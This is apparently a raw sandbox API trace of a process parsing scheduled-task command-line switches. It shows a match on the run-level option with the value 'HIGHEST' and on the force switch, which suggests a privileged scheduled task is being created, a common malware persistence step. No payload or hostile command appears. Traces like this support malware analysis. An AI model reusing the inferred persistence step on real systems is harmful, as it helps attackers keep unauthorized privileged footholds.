[0149.518] lstrlenW (lpString="|rl|") returned 4 [0149.518] SetLastError (dwErrCode=0x490) [0149.518] lstrlenW (lpString="i") returned 1 [0149.518] lstrlenW (lpString="i") returned 1 [0149.518] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.518] lstrlenW (lpString="rl") returned 2 [0149.518] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.518] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|i|") returned 3 [0149.518] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.518] lstrlenW (lpString="|i|") returned 3 [0149.518] lstrlenW (lpString="|rl|") returned 4 [0149.518] SetLastError (dwErrCode=0x490) [0149.518] lstrlenW (lpString="tn") returned 2 [0149.518] lstrlenW (lpString="tn") returned 2 [0149.518] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.518] lstrlenW (lpString="rl") returned 2 [0149.518] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.518] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.518] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.519] lstrlenW (lpString="|tn|") returned 4 [0149.519] lstrlenW (lpString="|rl|") returned 4 [0149.519] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0149.519] SetLastError (dwErrCode=0x490) [0149.519] lstrlenW (lpString="tr") returned 2 [0149.519] lstrlenW (lpString="tr") returned 2 [0149.519] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.519] lstrlenW (lpString="rl") returned 2 [0149.519] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.519] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.519] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.519] lstrlenW (lpString="|tr|") returned 4 [0149.519] lstrlenW (lpString="|rl|") returned 4 [0149.519] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0149.519] SetLastError (dwErrCode=0x490) [0149.519] lstrlenW (lpString="st") returned 2 [0149.519] lstrlenW (lpString="st") returned 2 [0149.519] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.519] lstrlenW (lpString="rl") returned 2 [0149.519] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.519] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|st|") returned 4 [0149.519] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.519] lstrlenW (lpString="|st|") returned 4 [0149.519] lstrlenW (lpString="|rl|") returned 4 [0149.519] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0149.519] SetLastError (dwErrCode=0x490) [0149.519] lstrlenW (lpString="sd") returned 2 [0149.519] lstrlenW (lpString="sd") returned 2 [0149.520] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.520] lstrlenW (lpString="rl") returned 2 [0149.520] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.520] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sd|") returned 4 [0149.520] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.520] lstrlenW (lpString="|sd|") returned 4 [0149.520] lstrlenW (lpString="|rl|") returned 4 [0149.520] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0149.520] SetLastError (dwErrCode=0x490) [0149.520] lstrlenW (lpString="ed") returned 2 [0149.520] lstrlenW (lpString="ed") returned 2 [0149.520] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.520] lstrlenW (lpString="rl") returned 2 [0149.520] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.520] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ed|") returned 4 [0149.520] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.520] lstrlenW (lpString="|ed|") returned 4 [0149.520] lstrlenW (lpString="|rl|") returned 4 [0149.520] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0149.520] SetLastError (dwErrCode=0x490) [0149.520] lstrlenW (lpString="it") returned 2 [0149.520] lstrlenW (lpString="it") returned 2 [0149.520] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.520] lstrlenW (lpString="rl") returned 2 [0149.520] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.520] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|it|") returned 4 [0149.520] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.521] lstrlenW (lpString="|it|") returned 4 [0149.521] lstrlenW (lpString="|rl|") returned 4 [0149.521] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0149.521] SetLastError (dwErrCode=0x490) [0149.521] lstrlenW (lpString="et") returned 2 [0149.521] lstrlenW (lpString="et") returned 2 [0149.521] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.521] lstrlenW (lpString="rl") returned 2 [0149.521] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.521] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|et|") returned 4 [0149.521] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.521] lstrlenW (lpString="|et|") returned 4 [0149.521] lstrlenW (lpString="|rl|") returned 4 [0149.521] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0149.521] SetLastError (dwErrCode=0x490) [0149.521] lstrlenW (lpString="k") returned 1 [0149.521] lstrlenW (lpString="k") returned 1 [0149.521] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.521] lstrlenW (lpString="rl") returned 2 [0149.521] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.521] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|k|") returned 3 [0149.521] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.521] lstrlenW (lpString="|k|") returned 3 [0149.521] lstrlenW (lpString="|rl|") returned 4 [0149.521] SetLastError (dwErrCode=0x490) [0149.521] lstrlenW (lpString="du") returned 2 [0149.521] lstrlenW (lpString="du") returned 2 [0149.521] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.522] lstrlenW (lpString="rl") returned 2 [0149.522] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.522] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|du|") returned 4 [0149.522] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.522] lstrlenW (lpString="|du|") returned 4 [0149.522] lstrlenW (lpString="|rl|") returned 4 [0149.522] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0149.522] SetLastError (dwErrCode=0x490) [0149.522] lstrlenW (lpString="ri") returned 2 [0149.522] lstrlenW (lpString="ri") returned 2 [0149.522] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.522] lstrlenW (lpString="rl") returned 2 [0149.522] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.522] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ri|") returned 4 [0149.522] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.522] lstrlenW (lpString="|ri|") returned 4 [0149.522] lstrlenW (lpString="|rl|") returned 4 [0149.522] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0149.522] SetLastError (dwErrCode=0x490) [0149.522] lstrlenW (lpString="z") returned 1 [0149.522] lstrlenW (lpString="z") returned 1 [0149.522] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.522] lstrlenW (lpString="rl") returned 2 [0149.522] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.522] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|z|") returned 3 [0149.522] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.523] lstrlenW (lpString="|z|") returned 3 [0149.523] lstrlenW (lpString="|rl|") returned 4 [0149.523] SetLastError (dwErrCode=0x490) [0149.523] lstrlenW (lpString="f") returned 1 [0149.523] lstrlenW (lpString="f") returned 1 [0149.523] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.523] lstrlenW (lpString="rl") returned 2 [0149.523] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.523] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.523] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.523] lstrlenW (lpString="|f|") returned 3 [0149.523] lstrlenW (lpString="|rl|") returned 4 [0149.523] SetLastError (dwErrCode=0x490) [0149.523] lstrlenW (lpString="v1") returned 2 [0149.523] lstrlenW (lpString="v1") returned 2 [0149.523] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.523] lstrlenW (lpString="rl") returned 2 [0149.523] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.523] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|v1|") returned 4 [0149.523] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.523] lstrlenW (lpString="|v1|") returned 4 [0149.523] lstrlenW (lpString="|rl|") returned 4 [0149.523] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0149.523] SetLastError (dwErrCode=0x490) [0149.523] lstrlenW (lpString="xml") returned 3 [0149.523] lstrlenW (lpString="xml") returned 3 [0149.523] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.523] lstrlenW (lpString="rl") returned 2 [0149.523] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.524] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|xml|") returned 5 [0149.524] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.524] lstrlenW (lpString="|xml|") returned 5 [0149.524] lstrlenW (lpString="|rl|") returned 4 [0149.524] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0149.524] SetLastError (dwErrCode=0x490) [0149.524] lstrlenW (lpString="ec") returned 2 [0149.524] lstrlenW (lpString="ec") returned 2 [0149.524] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.524] lstrlenW (lpString="rl") returned 2 [0149.524] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.524] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ec|") returned 4 [0149.524] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.524] lstrlenW (lpString="|ec|") returned 4 [0149.524] lstrlenW (lpString="|rl|") returned 4 [0149.524] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0149.524] SetLastError (dwErrCode=0x490) [0149.524] lstrlenW (lpString="rl") returned 2 [0149.524] lstrlenW (lpString="rl") returned 2 [0149.524] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.524] lstrlenW (lpString="rl") returned 2 [0149.524] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.524] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.524] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rl|") returned 4 [0149.524] lstrlenW (lpString="|rl|") returned 4 [0149.524] lstrlenW (lpString="|rl|") returned 4 [0149.525] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0149.525] SetLastError (dwErrCode=0x0) [0149.525] SetLastError (dwErrCode=0x0) [0149.525] lstrlenW (lpString="HIGHEST") returned 7 [0149.525] lstrlenW (lpString="-/") returned 2 [0149.525] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0149.525] SetLastError (dwErrCode=0x490) [0149.525] SetLastError (dwErrCode=0x490) [0149.525] SetLastError (dwErrCode=0x0) [0149.525] lstrlenW (lpString="HIGHEST") returned 7 [0149.525] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0149.525] SetLastError (dwErrCode=0x490) [0149.525] SetLastError (dwErrCode=0x0) [0149.525] _memicmp (_Buf1=0x30d560, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.525] lstrlenW (lpString="HIGHEST") returned 7 [0149.525] lstrlenW (lpString="HIGHEST") returned 7 [0149.525] lstrlenW (lpString=" \x09") returned 2 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0149.525] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0149.525] GetLastError () returned 0x0 [0149.525] lstrlenW (lpString="HIGHEST") returned 7 [0149.525] lstrlenW (lpString="HIGHEST") returned 7 [0149.525] SetLastError (dwErrCode=0x0) [0149.525] SetLastError (dwErrCode=0x0) [0149.525] lstrlenW (lpString="/f") returned 2 [0149.526] lstrlenW (lpString="-/") returned 2 [0149.526] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0149.526] lstrlenW (lpString="create") returned 6 [0149.526] lstrlenW (lpString="create") returned 6 [0149.526] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.526] lstrlenW (lpString="f") returned 1 [0149.526] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.526] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|create|") returned 8 [0149.526] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.526] lstrlenW (lpString="|create|") returned 8 [0149.526] lstrlenW (lpString="|f|") returned 3 [0149.526] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0149.526] SetLastError (dwErrCode=0x490) [0149.526] lstrlenW (lpString="?") returned 1 [0149.526] lstrlenW (lpString="?") returned 1 [0149.526] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.526] lstrlenW (lpString="f") returned 1 [0149.526] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.526] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|?|") returned 3 [0149.526] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.526] lstrlenW (lpString="|?|") returned 3 [0149.526] lstrlenW (lpString="|f|") returned 3 [0149.526] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0149.526] SetLastError (dwErrCode=0x490) [0149.526] lstrlenW (lpString="s") returned 1 [0149.526] lstrlenW (lpString="s") returned 1 [0149.526] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.526] lstrlenW (lpString="f") returned 1 [0149.526] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.527] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|s|") returned 3 [0149.527] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.527] lstrlenW (lpString="|s|") returned 3 [0149.527] lstrlenW (lpString="|f|") returned 3 [0149.527] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0149.527] SetLastError (dwErrCode=0x490) [0149.527] lstrlenW (lpString="u") returned 1 [0149.527] lstrlenW (lpString="u") returned 1 [0149.527] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.527] lstrlenW (lpString="f") returned 1 [0149.527] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.527] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|u|") returned 3 [0149.527] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.527] lstrlenW (lpString="|u|") returned 3 [0149.527] lstrlenW (lpString="|f|") returned 3 [0149.527] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0149.527] SetLastError (dwErrCode=0x490) [0149.527] lstrlenW (lpString="p") returned 1 [0149.527] lstrlenW (lpString="p") returned 1 [0149.527] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.527] lstrlenW (lpString="f") returned 1 [0149.527] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.527] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|p|") returned 3 [0149.527] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.527] lstrlenW (lpString="|p|") returned 3 [0149.527] lstrlenW (lpString="|f|") returned 3 [0149.527] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0149.527] SetLastError (dwErrCode=0x490) [0149.527] lstrlenW (lpString="ru") returned 2 [0149.528] lstrlenW (lpString="ru") returned 2 [0149.528] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.528] lstrlenW (lpString="f") returned 1 [0149.528] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.528] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|ru|") returned 4 [0149.528] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.528] lstrlenW (lpString="|ru|") returned 4 [0149.528] lstrlenW (lpString="|f|") returned 3 [0149.528] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0149.528] SetLastError (dwErrCode=0x490) [0149.528] lstrlenW (lpString="rp") returned 2 [0149.528] lstrlenW (lpString="rp") returned 2 [0149.528] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.528] lstrlenW (lpString="f") returned 1 [0149.528] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.528] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|rp|") returned 4 [0149.528] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.528] lstrlenW (lpString="|rp|") returned 4 [0149.528] lstrlenW (lpString="|f|") returned 3 [0149.528] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0149.528] SetLastError (dwErrCode=0x490) [0149.528] lstrlenW (lpString="sc") returned 2 [0149.528] lstrlenW (lpString="sc") returned 2 [0149.528] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.528] lstrlenW (lpString="f") returned 1 [0149.528] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.528] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|sc|") returned 4 [0149.528] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.529] lstrlenW (lpString="|sc|") returned 4 [0149.529] lstrlenW (lpString="|f|") returned 3 [0149.529] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0149.529] SetLastError (dwErrCode=0x490) [0149.529] lstrlenW (lpString="mo") returned 2 [0149.529] lstrlenW (lpString="mo") returned 2 [0149.529] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.529] lstrlenW (lpString="f") returned 1 [0149.529] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.529] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|mo|") returned 4 [0149.529] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.529] lstrlenW (lpString="|mo|") returned 4 [0149.529] lstrlenW (lpString="|f|") returned 3 [0149.529] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0149.529] SetLastError (dwErrCode=0x490) [0149.529] lstrlenW (lpString="d") returned 1 [0149.529] lstrlenW (lpString="d") returned 1 [0149.529] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.529] lstrlenW (lpString="f") returned 1 [0149.529] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.529] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|d|") returned 3 [0149.529] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.529] lstrlenW (lpString="|d|") returned 3 [0149.529] lstrlenW (lpString="|f|") returned 3 [0149.529] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0149.529] SetLastError (dwErrCode=0x490) [0149.529] lstrlenW (lpString="m") returned 1 [0149.529] lstrlenW (lpString="m") returned 1 [0149.529] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.530] lstrlenW (lpString="f") returned 1 [0149.530] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.530] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|m|") returned 3 [0149.530] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.530] lstrlenW (lpString="|m|") returned 3 [0149.530] lstrlenW (lpString="|f|") returned 3 [0149.530] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0149.530] SetLastError (dwErrCode=0x490) [0149.530] lstrlenW (lpString="i") returned 1 [0149.530] lstrlenW (lpString="i") returned 1 [0149.530] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.530] lstrlenW (lpString="f") returned 1 [0149.530] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.530] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|i|") returned 3 [0149.530] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.530] lstrlenW (lpString="|i|") returned 3 [0149.530] lstrlenW (lpString="|f|") returned 3 [0149.530] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0149.530] SetLastError (dwErrCode=0x490) [0149.530] lstrlenW (lpString="tn") returned 2 [0149.530] lstrlenW (lpString="tn") returned 2 [0149.530] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.530] lstrlenW (lpString="f") returned 1 [0149.530] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.530] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tn|") returned 4 [0149.530] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.530] lstrlenW (lpString="|tn|") returned 4 [0149.530] lstrlenW (lpString="|f|") returned 3 [0149.530] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0149.531] SetLastError (dwErrCode=0x490) [0149.531] lstrlenW (lpString="tr") returned 2 [0149.531] lstrlenW (lpString="tr") returned 2 [0149.531] _memicmp (_Buf1=0x30c1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.531] lstrlenW (lpString="f") returned 1 [0149.531] _memicmp (_Buf1=0x30c220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0149.531] _vsnwprintf (in: _Buffer=0x30c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|tr|") returned 4 [0149.531] _vsnwprintf (in: _Buffer=0x30c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c8c8 | out: _Buffer="|f|") returned 3 [0149.531] lstrlenW (lpString="|tr|") returned 4 [0149.531] lstrlenW (lpString="|f|") returned 3 [0149.531] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 